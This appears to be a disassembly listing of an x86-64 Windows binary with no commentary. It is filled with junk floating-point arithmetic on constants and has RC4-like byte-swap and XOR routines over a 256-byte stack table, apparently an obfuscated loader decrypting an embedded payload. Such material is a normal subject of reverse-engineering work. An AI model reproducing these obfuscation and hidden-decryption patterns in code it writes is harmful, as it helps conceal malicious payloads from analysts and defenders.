jmp 0x1400f3b35
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movzx r15d, bpl
movzx r12d, byte [rsp + r15 + 0x2b0]
lea r13d, [rax - 3]
movzx r14d, r14b
add r8b, byte [rsp + r14 + 0x2b0]
movzx r14d, r8b
movzx esi, byte [rsp + r14 + 0x2b0]
mov byte [rsp + r15 + 0x2b0], sil
movzx r9d, r9b
movzx esi, byte [rsp + r9 + 0x2b0]
mov byte [rsp + r14 + 0x2b0], sil
movzx esi, r13b
movzx r13d, byte [rsp + rsi + 0x2b0]
mov byte [rsp + r9 + 0x2b0], r13b
mov byte [rsp + rsi + 0x2b0], r12b
add cl, byte [rsp + r12 + 0x2b0]
movzx esi, byte [rsp + r14 + 0x2b0]
add sil, r12b
movzx esi, sil
movzx r14d, byte [rsp + r15 + 0x2b0]
add r14b, byte [rsp + r9 + 0x2b0]
movzx r9d, byte [rsp + rsi + 0x2b0]
movzx esi, cl
add r14b, byte [rsp + rsi + 0x2b0]
movzx esi, r14b
movzx esi, byte [rsp + rsi + 0x2b0]
xor r9b, byte [rsp + rsi + 0x2b0]
xor r9b, r10b
movabs rsi, 0x40d8574000000000
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x230], rdi
mov qword [rsp + 0x1f0], rbx
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
ucomisd xmm0, xmm1
ja 0x1400f36a7
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm0, xmm1
movsd xmm1, qword [rsp + 0x1f0]
movsd xmm0, qword [rsp + 0x230]
jbe 0x1400f3db0
subsd xmm0, xmm1
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
jmp 0x1400f36ff
divsd xmm0, xmm1
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
jmp 0x1400f36ff
movzx r11d, byte [0x14049ed3a]
movzx r10d, byte [0x14049ed3b]
add r10, 0x99
shl r11d, 4
add r11d, 0xfffff3e0
or r10, r11
movzx esi, bpl
movzx ebx, byte [rsp + rsi + 0x2b0]
lea edi, [rax - 4]
movzx edi, dil
add r8b, byte [rsp + rdi + 0x2b0]
lea ebp, [rax - 3]
movzx r8d, r8b
movzx edi, byte [rsp + r8 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], dil
movzx edi, r9b
movzx r9d, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r8 + 0x2b0], r9b
movzx r9d, bpl
movzx ebp, byte [rsp + r9 + 0x2b0]
mov byte [rsp + rdi + 0x2b0], bpl
mov byte [rsp + r9 + 0x2b0], bl
mov dword [rsp + 0x140], 0x4698e400
mov dword [rsp + 0x230], 0x4674a000
mov dword [rsp + 0x1f0], 0x46377800
mov dword [rsp + 0x1d0], 0x45f4a000
mov dword [rsp + 0x250], 0x4574a000
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1d0]
ucomiss xmm0, xmm1
jbe 0x1400f401a
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
add cl, byte [rsp + rbx + 0x2b0]
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
mov r15, qword [rsp + 0xe90]
jmp 0x1400f428e
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1d0]
ucomiss xmm0, xmm1
mov r15, qword [rsp + 0xe90]
jbe 0x1400f41fb
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x160], 0
movsd xmm1, qword [rsp + 0x160]
movsd xmm0, qword [0x1404d9340]
ucomisd xmm0, xmm1
jbe 0x1400f5650
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9350]
movapd xmm2, xmmword [0x1404d9360]
movsd xmm3, qword [0x1404d9370]
movsd xmm4, qword [0x1404d9378]
movsd xmm5, qword [0x1404d78f0]
jmp 0x1400f5599
movsd xmm6, qword [rsp + 0x160]
addsd xmm6, xmm5
movsd qword [rsp + 0x160], xmm6
movsd xmm6, qword [rsp + 0x160]
ucomisd xmm0, xmm6
jbe 0x1400f5650
movsd xmm6, qword [rsp + 0x160]
movsd xmm7, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x160]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x160]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm6, xmm3
jbe 0x1400f5570
movsd xmm6, qword [rsp + 0x160]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
jmp 0x1400f5570
movsd xmm0, qword [rsp + 0x190]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400f5672
call fcn.14049ed57
call 0x14049ed7d
jmp 0x1400f6ec2
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x360], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x390], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x3a0], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [0x14049ed7d]
lea r10, [0x1401042f0]
xor esi, esi
xor r11d, r11d
jmp 0x1400f5799
dec r8
je 0x1400f58dc
mov edx, 1
cmp r8, 2
jb 0x1400f57b9
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400f57b0
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400f57d0
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
jmp 0x1400f5860
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400f5860
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400f5860
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400f5860
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0x2b0]
inc r11d
lea esi, [rax + 0x22]
cmp r11d, 0x22
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400f5897
mov ebx, eax
cmp r8, rbx
jb 0x1400f57c0
jmp 0x1400f589e
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x1400f5790
movzx edx, byte [rsp + r8 + 0x2b0]
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dl
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
xor byte [rsp + r8 + 0x2b0], dl
jmp 0x1400f5790
movzx edx, byte [rsp + 0x2b1]
movzx eax, byte [rsp + 0x2b5]
movzx r8d, byte [rsp + 0x2b7]
movzx ecx, sil
movzx r10d, byte [rsp + rcx + 0x2b0]
movzx r12d, byte [fcn.14049ed57]
movzx ecx, byte [0x14049ed58]
add r12d, 0xffffffd0
add ecx, 0xa6
mov r14d, r12d
shl r14d, 4
or r14d, ecx
movzx r9d, byte [rsp + r10 + 0x2b0]
movzx esi, r9b
lea edi, [rdx + 1]
movzx ecx, byte [rsp + rdx + 0x2b0]
add cl, byte [rsp + 0x2b3]
movzx r11d, cl
movzx ebx, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r10 + 0x2b0], bl
movabs rbx, 0x40dbcc0000000000
mov qword [rsp + 0x140], rbx
movabs rbx, 0x40d63d0000000000
mov qword [rsp + 0x230], rbx
movabs rbx, 0x40d0ae0000000000
mov qword [rsp + 0x1f0], rbx
movabs rbx, 0x40c63e0000000000
mov qword [rsp + 0x1d0], rbx
movabs rbx, 0x40b6400000000000
mov qword [rsp + 0x250], rbx
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
ucomisd xmm0, xmm1
jbe 0x1400f5b0b
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movzx ebx, byte [rsp + r8 + 0x2b0]
mov byte [rsp + r11 + 0x2b0], bl
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
jmp 0x1400f5b9a
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movzx edi, dil
movzx ebx, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r8 + 0x2b0], bl
mov qword [rsp + 0x98], rdi
mov byte [rsp + rdi + 0x2b0], r9b
movzx r10d, byte [rsp + r10 + 0x2b0]
add r10b, byte [rsp + r8 + 0x2b0]
add al, byte [rsp + rsi + 0x2b0]
movzx r8d, al
add r10b, byte [rsp + r8 + 0x2b0]
movzx r8d, r10b
add r9b, byte [rsp + r11 + 0x2b0]
movzx r8d, byte [rsp + r8 + 0x2b0]
movzx r9d, r9b
movzx r11d, byte [rsp + r8 + 0x2b0]
xor r11b, r14b
xor r11b, byte [rsp + r9 + 0x2b0]
lea r8d, [rdx + 2]
xor ebp, ebp
lea r9, [fcn.14049ed57]
xor r10d, r10d
jmp 0x1400f5c41
inc r8b
dec ebp
mov r14d, edi
cmp ebp, 0xfffffff7
je 0x1400f66b6
movabs rdx, 0x40d40fc000000000
mov qword [rsp + 0x140], rdx
movabs rdx, 0x40d0b80000000000
mov qword [rsp + 0x230], rdx
movabs rdx, 0x40cac08000000000
mov qword [rsp + 0x1f0], rdx
movabs rdx, 0x40c4110000000000
mov qword [rsp + 0x1d0], rdx
movabs rdx, 0x40bac30000000000
mov qword [rsp + 0x210], rdx
movabs rdx, 0x40aac80000000000
mov qword [rsp + 0xd0], rdx
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x210]
subsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x210]
movsd qword [rsp + 0x210], xmm0
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm1, xmm0
jbe 0x1400f5e29
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x210]
movsd qword [rsp + 0x210], xmm0
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x210]
movsd qword [rsp + 0x210], xmm0
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
inc r10d
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0xd0]
movsd qword [rsp + 0xd0], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0xd0]
movsd qword [rsp + 0xd0], xmm0
jmp 0x1400f60fd
movsd xmm0, qword [rsp + 0xd0]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0xd0]
divsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
subsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0xd0]
divsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
divsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
subsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x210]
ucomisd xmm1, xmm0
movsd xmm0, qword [rsp + 0x230]
jbe 0x1400f6054
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0xd0]
addsd xmm0, qword [rsp + 0x210]
movsd qword [rsp + 0x210], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
jmp 0x1400f60fd
movsd xmm1, qword [rsp + 0xd0]
subsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0xd0]
subsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x210]
divsd xmm1, xmm0
movsd qword [rsp + 0x210], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0xd0]
mulsd xmm1, xmm0
movsd qword [rsp + 0xd0], xmm1
lea r13d, [r8 - 1]
lea esi, [r10 + r10]
movsxd rsi, esi
movzx edi, byte [rsi + r9]
movzx ebx, byte [rsi + r9 + 1]
mov dword [rsp + 0x140], 0x46d36e00
mov dword [rsp + 0x230], 0x46b03200
mov dword [rsp + 0x1f0], 0x468cf600
mov dword [rsp + 0x1d0], 0x46537400
mov dword [rsp + 0x210], 0x460cfc00
mov dword [rsp + 0xd0], 0x458d0800
movss xmm0, dword [rsp + 0xd0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x140]
ucomiss xmm0, xmm1
jbe 0x1400f646c
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0xd0]
subss xmm1, xmm0
movss dword [rsp + 0xd0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x210]
ucomiss xmm1, xmm0
jbe 0x1400f6529
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0xd0]
subss xmm1, xmm0
movss dword [rsp + 0xd0], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
jmp 0x1400f65df
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
add edi, 0xffffffd0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0xd0]
subss xmm1, xmm0
movss dword [rsp + 0xd0], xmm1
mov r12d, edi
jmp 0x1400f65df
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0xd0]
subss xmm1, xmm0
movss dword [rsp + 0xd0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
